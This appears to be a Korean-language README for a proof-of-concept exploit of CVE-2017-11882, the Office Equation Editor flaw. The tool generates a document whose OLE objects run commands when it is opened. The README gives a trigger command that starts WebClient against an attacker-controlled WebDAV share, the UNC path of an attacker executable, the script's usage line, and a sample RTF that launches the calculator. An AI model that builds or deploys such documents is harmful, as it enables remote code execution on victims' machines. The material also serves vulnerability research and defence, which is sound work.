CVE-2017-11882

CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882

MITRE CVE-2017-11882: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882

연구: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about

패치 분석: https://0patch.blogspot.ru/2017/11/did-microsoft-just-manually-patch-their.html

데모 PoC 익스플로잇: https://www.youtube.com/watch?v=LNFG0lktXQI&lc=z23qixrixtveyb2be04t1aokgz10ymfjvfkfx1coc3qhrk0h00410

webdav_exec CVE-2017-11882

CVE-2017-11882를 위한 간단한 PoC입니다. 이 익스플로잇은 WebClient 서비스를 시작하고 공격자가 제어하는 WebDav 서버에서 원격 파일을 실행하도록 트리거합니다. 이 접근 방식이 유용할 수 있는 이유는 실행되는 명령 길이에 제한이 있기 때문입니다. 그러나 WebDav의 도움으로 취약한 머신에서 공격자가 제어하는 실행 파일을 임의로 실행할 수 있습니다. 이 스크립트는 여러 OLE 개체가 포함된 간단한 문서를 생성합니다. 이러한 개체는 CVE-2017-11882를 익스플로잇하여 순차적인 명령 실행으로 이어집니다.

WebClient 서비스 시작을 트리거하는 첫 번째 명령은 다음과 같을 수 있습니다:

cmd.exe /c start \\attacker_ip\ff

공격자가 제어하는 바이너리 경로는 UNC 네트워크 경로여야 합니다:

\\attacker_ip\ff\1.exe

사용법

webdav_exec_CVE-2017-11882.py -u trigger_unc_path -e executable_unc_path -o output_file_name

CVE-2017-11882를 위한 샘플 익스플로잇 (calc.exe를 페이로드로 실행)

example 폴더에는 CVE-2017-11882 취약점을 익스플로잇하고 시스템에서 계산기를 실행하는 .rtf 파일이 포함되어 있습니다.